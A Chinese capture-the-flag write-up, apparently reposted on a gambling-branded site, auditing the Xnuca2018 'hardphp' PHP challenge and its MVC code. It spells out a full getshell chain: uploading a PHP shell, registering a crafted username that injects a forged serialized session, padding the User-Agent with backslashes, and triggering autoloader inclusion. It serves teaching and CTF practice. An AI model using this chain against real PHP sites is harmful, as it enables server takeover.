欢迎访问Sunbet官网(www.sunbet.us),Allbet欧博官网(www.ALLbetgame.us)!

首页Sunbet_安全工具正文

菜鸟学代码审计:Xnuca2018-hardphp过程详解

b9e08c31ae1faa592019-01-0384

0×01 题目

这个题目考的是代码审计getshell。赛后把源码down下来连系大佬wp复现了一下。代码审计考核面对照广,也对照合适新手练手,涉及到这个题目主若是php mvc框架、session机制和反序列化的题目。菜鸡初学代码审计,写的对照细致,不当之处请斧正 菜鸟学代码审计:Xnuca2018-hardphp过程详解  第1张

菜鸟学代码审计:Xnuca2018-hardphp过程详解  第1张

0×02 简朴剖析

菜鸟学代码审计:Xnuca2018-hardphp过程详解  第3张

菜鸟学代码审计:Xnuca2018-hardphp过程详解  第3张

题目请求是Getshell,源代码典范的MVC架构,一个典范的Web MVC流程:

Controller截获用户发出的请求;

Controller挪用Model完成状况的读写操纵;

Controller把数据传递给View;

View衬着终究效果并呈献给用户。

(涉及到php MVC开辟请参考这篇文章,关于相干代码审计的明白及构造也有很大资助–>http://www.cnblogs.com/Steven-shi/p/5914175.html)

所给代码主要有这么几个文件(夹):

config.php (配置文件)

index.php (进口文件)

view (视图类文件夹)

model (模子类文件夹)

controller掌握器文件夹里的BaseController.php和mainController.php

这两个文件是主要文件,主若是对其他文件界说的类举行挪用,包孕跳转行动,登录会话处置惩罚,注册上传等等。

include文件夹两个文件MySessionHandler.php和Session.php两个文件,主要处置惩罚session会话处置惩罚。

lib文件夹里core.php(共用框架进口文件)。这个文件被index包罗,个人感觉相似主文件,涉及到输入参数的过滤处置惩罚和症结函数的界说和症结类的界说(MVC类)

0×03 core.php文件剖析

起首是63~66行对输入参数的处置惩罚:

escape($_REQUEST);

escape($_POST);

escape($_GET);

escape($_SERVER);

//escape函数在153行界说

function escape(&$arg) {

    if(is_array($arg)) {

        foreach ($arg as &$value) {

            escape($value);

        }

    } else {

        $arg = str_replace(["'", '\\', '(', ')'], ["‘", '\\\\', '(', ')'], $arg);

    }

}

可以或许看出 escape 对输入参数举行了黑名单替代。括号被过滤的话基础上注入对照难了。

涉及到MVC框架的完成,代码界说了三个类:Controller(掌握器)、Model(模子)、View(视图),function url 举行了路由设置。

最主要的是在78~79行举行了 掌握器类的实例化

$controller_obj = new $controller_name();   //实例化mainController类

$controller_obj->$action_name(); //实行的行动actionindex

controller_name()是在45和67行界说的。体系起首实行的mainController类中的actionIndex要领。

0×04 Controller掌握器剖析

上面mainController类在 mainController.php 文件中界说,下面剖析两个掌握器文件。

mainController继承了BaseController:BaseControlller主若是初始化了session,下面是代码

class BaseController extends Controller{

public $layout = "layout.html";

function init(){

  ini_set('session.save_handler', 'user');

  $handler = new MySessionHandler();

  session_set_save_handler($handler, true);

  session_start();

  header("Content-type: text/html; charset=utf-8");

}

//..

主要文件是mainController。mainController是对BaseCrotroller的继承,界说了登录(actionLogin)、注册(actionRegister)、上传(actionUploader)、信息(actionMessage)、提交(actionPOST)等要领。

起首看actionIndex函数:

function actionIndex(){

  if(isset($_SESSION["data"])){

    //...

  }else{

    $this->jump("/main/login");

    return ;

  }

}

起首举行的剖断就是是不是存在$_SESSION['data'],若是没有就跳到登录界面。上岸请求的url对应掌握器里的actionLogin行动。若是没有账号的会举行actionRegister行动。

下面代码是注册:

function actionRegister(){

  if($_POST){

  $username = arg('username');

  $password = arg('password');

  if(empty($username)||empty($password)){

  echo "<script>alert('Username or password is error.')</script>";

  }else{

  $password = md5($password);

  $user = New User();

  $res = $user->query("SELECT * FROM `{$user->table_name}` WHERE `username` ='{$username}'");

  if(!empty($res)){

  echo "<script>alert('Username is registered!.')</script>";

  }else{

  $res = $user->create([

  "username"=>$username,

  "password"=>$password,

  "picture"=>"/img/pic.jpg"]);

  if(!$res) echo "<script>alert('something error. register fiaied!')</script>";

  else $this->jump("/main/login");

  }

  }

  }

}

可以或许看出其对输入参数起首举行了arg函数的处置惩罚,我们找一下arg函数的地位,发如今core.php文件第163行(escape函数背面)

function arg($name, $default = null, $trim = false) {

    if (isset($_REQUEST[$name])) {

        $arg = $_REQUEST[$name];

    } elseif (isset($_SERVER[$name])) {

        $arg = $_SERVER[$name];

    } else {

        $arg = $default;

    }

    if($trim) {

        $arg = trim($arg);

    }

    return $arg;

}

对参数实行了 trim 去空格操纵。

再看一下登录函数:

function actionLogin(){

  if($_POST){

    $username = arg('username');

    $password = arg('password');

    $ip = arg('REMOTE_ADDR');

    $userAgent = arg('HTTP_USER_AGENT');

          if (empty($username) || empty($password)) {

              echo "<script>alert('Username or password is empty.')</script>";

    }else{

      $user = New User();

      $password = md5($password);

      $res = $user->query("SELECT * FROM `$user->table_name` where `username`='{$username}' AND `password`='{$password}'");

      if(empty($res) || $res[0]['password']!==$password){

        echo "<script>alert('Username or password is error.')</script>";

      }else{

        $session = new Session($res[0]["id"],time(),$ip,$userAgent);

        $_SESSION['data'] = serialize($session);

        $_SESSION['username'] = $username;

        $this->jump("/main/index");

      }

    }

  }

}

审计可知若是登录胜利会实例一个session类,而这个类在include文件夹 session.php 中界说。网站SESSION主要有两个参数,一个是 data ,一个是 username , data 是上面实例化后的Session序列化的效果。

除此之外还可以或许文件上传:

public function actionUpload(){

  //...

  $fileName = $_FILES['upfile']['name'];

  $fileExt = isset(pathinfo($fileName)['extension'])?pathinfo($fileName)['extension']:"png";

  $fileExt = addslashes($fileExt);

  $filename = $this->randomStr().'.'.$fileExt;

  $realFileName = APP_DIR.DS."img".DS."upload".DS.$filename;

  if(move_uploaded_file($_FILES['upfile']['tmp_name'],$realFileName)){

  $user = New User();

  $webFileName = DS."img".DS."upload".DS.$filename;

  $res = $user->execute("UPDATE `{$user->table_name}` set `picture`='{$webFileName}' where `id`='{$userId}'");

  if($res){

  echo '<script>alert("Upload file success!")</script>';

  }else{

              echo '<script>alert("Upload file error!")</script>';

  }

  $this->jump("/main/index");

  return;

  }else{

  echo '<script>alert("Upload file Error!")</script>';

  $this->jump("/main/index");

  return ;

  }

}

该函数主要对上传文件举行了重名名,对文件范例没有请求,可以或许上传php文件。然则在存储文件的文件夹里.htaccess限定了实行(php_flag engine off)

0×05 文件包罗

涉及到php文件包罗的破绽,可以或许全局搜刮include。

菜鸟学代码审计:Xnuca2018-hardphp过程详解  第5张

菜鸟学代码审计:Xnuca2018-hardphp过程详解  第5张

这里有四个处所涌现include,背面两个涉及到view 视图操纵,基础没有应用价值。前面两个是一个自动加载类函数,对照可疑,该函数位于core.php 50行摆布:

spl_autoload_register('inner_autoload');

function inner_autoload($class){

GLOBAL $__module,$__custom;

$class = str_replace("\\","/",$class);

foreach(array('model','include','controller'.(empty($__module)?'':DS.$__module),$__custom) as $dir){

$file = APP_DIR.DS.$dir.DS.$class.'.php';

if(file_exists($file)){

include $file;

return;

}

}

}

sql_autoload_register 于php5中__autoload函数的作用是一样的,当实例化一个未界说的类时,就会触发此函数,其目标是制止誊写过量的援用文件,使全部体系越发天真。

前面有文件上传的接口,而且可以或许上传php文件,到场我们上传一个shell,若是在这里可以或许胜利包罗的话,Shell就可以或许实行了。这里的自动加载类函数会加载以未命名类的类名的文件,也就是说我们要把我们上传的文件天生的随机文件名记录下来,然后作为类想设施加载到这个函数里。

0×06 session机制

依照前面的进击思绪,起首就要想设施触发inner_autoload函数,并把文件名作为参数传进去。也就是说要实例化一个类。涉及到类的实例化,全局搜刮症结词‘new’, 一处是core.php 78行摆布:

$controller_obj = new $controller_name();

经由剖析 $controller_name() = $__controller.'Controller'; 后缀必须有Controller,没法应用。

继承看发明一处对session的实例化操纵,随之还举行了序列化:

$session = new Session($res[0]["id"],time(),$ip,$userAgent);

$_SESSION['data'] = serialize($session);

有序列化就有反序列化,若是我们可以或许掌握session的内容,使之酿成一个我们本身界说的序列化后的类,那末反序列化以后就会对这个类举行实例化,进而触发自动加载类函数,完成文件包罗。

下面我们对session的天生举行细致剖析:

关于session天生,我依据代码简朴做了一个构造图:

菜鸟学代码审计:Xnuca2018-hardphp过程详解  第7张

菜鸟学代码审计:Xnuca2018-hardphp过程详解  第7张

起首是core.php将main/index登录请求交给mainController类掌握器中的actionIndex要领,在这之前继承BaseController类,该类重写了 SessionHandler 函数,使得 session 可以或许存储到数据库中。进而挪用 session_start() 开启session会话机制。该函数会自动挪用MySessionHandler中的open()和read()函数,举行数据库的衔接和session的读取。不存在 session的话跳转到 actionLogin 类要领天生session。然后经由历程序列化触发write()要领将之写入数据库。

下面是session类

class Session{

   private $ip ;

   private $userAgent;

   private $userId;

   private $loginTime ;

   public static $timeFormat = "H:i:s";

   function __construct($userId,$loginTime,$ip="0.0.0.0",$userAgent=""){

       $this->userId = $userId;

       $this->ip = $ip;

       $this->loginTime = $loginTime;

       $this->userAgent = $userAgent;

   }

   public function getUserInfo(){

       return array(intval($this->userId),date(self::$timeFormat,$this->loginTime));

   }

   public function  isAccountSec($ip="0.0.0.0",$userAgent=""){

       return ($this->ip === $ip && $this->userAgent === $userAgent);

   }

   static function  getTime($timestamp){

       return date(self::$timeFormat,$timestamp);

   }

}

Session由四局部组成,ip、useragent、userID、logintime。

拿到了$_SESSION['data'],回到actionIndex函数。关于data,它会对其合法性举行剖断:

$session = unserialize($_SESSION["data"],["allowed_classes" => ["Session"]]);

//第二个参数是反序列化的过滤机制,防备注入,转换一切工具到 __PHP_Incomplete_Class工具,除session

$ip = arg("REMOTE_ADDR");

$userAgent = arg("HTTP_USER_AGENT");

$this->now = $session::getTime(time());

if($session->isAccountSec($ip,$userAgent)){

$userinfo = $session->getUserInfo();

$this->username =  $_SESSION['username'];

$this->loginTime = $userinfo[1];

$userId = $userinfo[0];

$user = new User();

$res = $user->query("SELECT picture FROM `{$user->table_name}` where `id`='{$userId}'");

if(!empty($res)){

$this->picSrc = $res[0]['picture'];

}else{

$this->picSrc = "/img/pic.jpg";

}

}else{

echo "<script>alert('your cookie my be stealed by hacker!');</script>";

session_destroy();

$this->jump("/main/login");

}

这里为了轻易测试,我将天生session和考证session的代码脱出来零丁测试,这是天生的$_SESSION['data']和反序列化以后的效果:

菜鸟学代码审计:Xnuca2018-hardphp过程详解  第9张

菜鸟学代码审计:Xnuca2018-hardphp过程详解  第9张

我们再看一下session的存储,这里它经由历程MySessionHandler类和session_set_save_handler重写了SessionHandlerInterface,使session可以或许存储在数据库里。session_start()函数会自动挪用open和read函数去数据库检索session。

session的读取和写入有能够形成session捏造,下面是相干代码(MySessionHandler.php)

public function read($session_id){

  $res = $this->dbsession->query("SELECT * FROM `{$this->dbsession->table_name}` where `sessionid` = '{$session_id}'");

  if(empty($res)){

      return false;

  }else{

      return (string)@$res[0]['data'];

  }

}

public function write($session_id,$data){

  $time = time();

  $res = $this->dbsession->query("SELECT * FROM `{$this->dbsession->table_name}` where `sessionid` = '{$session_id}' ");

  if($res){

    $this->dbsession->execute("UPDATE `{$this->dbsession->table_name}` SET `data` = '{$data}',`lastvisit` = '{$time}' where `sessionid` = '{$session_id}'");

  }else{

    $res = $this->dbsession->create(

        ["data"=>$data,

        "sessionid"=>$session_id,

        "lastvisit"=>$time]);

  }

  return true;

}

write函数是将session的数据写到相应的地位去。当操纵$_SESSION来序列化数据的时刻该函数被触发。关于write()更深的明白在下面这个图里:

菜鸟学代码审计:Xnuca2018-hardphp过程详解  第11张

菜鸟学代码审计:Xnuca2018-hardphp过程详解  第11张

也就是说session数据会更新。以是存到数据库后的session不只是 session['data'] , 另有session['username'],好比下面如许(存在弗成打印字符):

data|s:288:"O:7:"Session":4:{s:11:" Session ip";s:9:"127.0.0.1";s:18:" Session userAgent";s:128:"Mozilla/5.0 ?Macintosh; Intel Mac OS X 10_14_0? AppleWebKit/537.36 ?KHTML, like Gecko? Chrome/69.0.3497.92 Safari/537.36";s:15:" Session userId";s:1:"1";s:18:" Session loginTime";i:1543310132;}";username|s:4:"test";

好了,我们搞清晰了session的天生、存储及组成体式格局,那末有无设施捏造session成我们想要的内容呢。这里有两个思绪,一个是session是存在数据库里的,是不是可以或许经由历程注入举行修正呢。第二个思绪是在在写入之前或读取以后应用代码破绽举行修正。

0×07 恣意session捏造

这里主若是以第一个思绪为主(据说是预期解法),我在这里复现一下。这里存在一个恣意session捏造破绽,我从源代码里将症结函数和类拷出来并举行做了一个压缩版轻易调试和审计,其主要逻辑就是session的天生历程及存储历程。下面我们将全部流程演示一遍:

依照wonderkun大佬的思绪是如许的,

1.上传一个 php shell 文件,然后记录下其文件名,比方: 28mlzz380bs8e4sr6e98xzqxbdx2lj9m.php

2.再注册一个账户,账户名为: ;data|s:40:”s:32:”28mlzz380bs8e4sr6e98xzqxbdx2lj9m”;

3.用上面的账号登录,设置 User-Agent为16个反斜杠,依据本身的状况调解。

4.然后接见 http://127.0.0.1:8888/main/index?s=img/upload/ 就getshell了。

简朴来讲,就是伪形成如许:

菜鸟学代码审计:Xnuca2018-hardphp过程详解  第13张

菜鸟学代码审计:Xnuca2018-hardphp过程详解  第13张

下面是相应:

菜鸟学代码审计:Xnuca2018-hardphp过程详解  第15张

菜鸟学代码审计:Xnuca2018-hardphp过程详解  第15张

再次接见,getshell(为了简化我把shell直接放到了同目录下)

菜鸟学代码审计:Xnuca2018-hardphp过程详解  第17张

菜鸟学代码审计:Xnuca2018-hardphp过程详解  第17张

那末题目来了,为何这个session中useragent插进去16个反斜杠后会将;username|s:52:"掩盖掉呢???

起首先明白两个题目:

下面是我请求的url:

http://127.0.0.1/ctftest/XUA-web/hardphp.php?username=leeswi\\\\

天生效果:

菜鸟学代码审计:Xnuca2018-hardphp过程详解  第19张

菜鸟学代码审计:Xnuca2018-hardphp过程详解  第19张

这里题目就发生了,我们可以或许看出来我们输入的username是leeswi\\\\

经由escape过滤以后酿成了leeswi\\\\\\\\,而且将其序列化

然则由于写入数据库的时刻反斜杠自动转义,username又成了leeswi\\\\

然则前面照样s:14,这在反序列化时就会失足,由于背面只剩10个字符而不是14个了。

菜鸟学代码审计:Xnuca2018-hardphp过程详解  第21张

菜鸟学代码审计:Xnuca2018-hardphp过程详解  第21张

如上图,我们再次接见,session会从数据库读出来并反序列化,反序列化失足decode fail进而触发destroy函数举行烧毁。

另一个是session掩盖的题目:当数据库里的session有两个同名时,背面的会掩盖前面的。好比

data|s:5:"guest";data|s:5:"admin";

读取session的时刻取的是admin,但条件是前面的guest可以或许一般反序列化。

回到题目,我们视察一下我们胜利的payload:

data|s:191:"O:7:"Session":4:{s:11:"Sessionip";s:9:"127.0.0.1";s:18:"SessionuserAgent";s:32:"\\\\\\\\\\\\\\\\";s:15:"SessionuserId";s:3:"111";s:18:"SessionloginTime";i:1545704669;}";username|s:52:";data|s:40:"s:32:"28mlzz380bs8e4sr6e98xzqxbdx2lj9m";";

一样反序列化也是如许。对data要反序列化两次。而完成胜利掩盖的条件是厥后两个参数都可以或许反序列化胜利,这里关于data来讲只需第一次反序列化胜利就可以或许。

这里实在隐蔽了一个反序列化(多是session_start致使的,对这个函数照样搞得不太清晰),data这个数据实际上是经由了两次序列化,一次是代码actionLogin里,另一次是隐含的序列化。这从username实在就可以或许看出来一点眉目。由于username我们是没有序列化的,然则存进数据库的倒是序列化后的数据。

如许我们就可以或许掩盖背面的参数了,由于反斜杠转义题目,致使存入数据库的数据比序列化时的字符要少,以是关于最表面一层的序列化来讲,只需构造出相符字符数目请乞降花样的字符串就可以或许反序列化胜利。

菜鸟学代码审计:Xnuca2018-hardphp过程详解  第23张

菜鸟学代码审计:Xnuca2018-hardphp过程详解  第23张


网友评论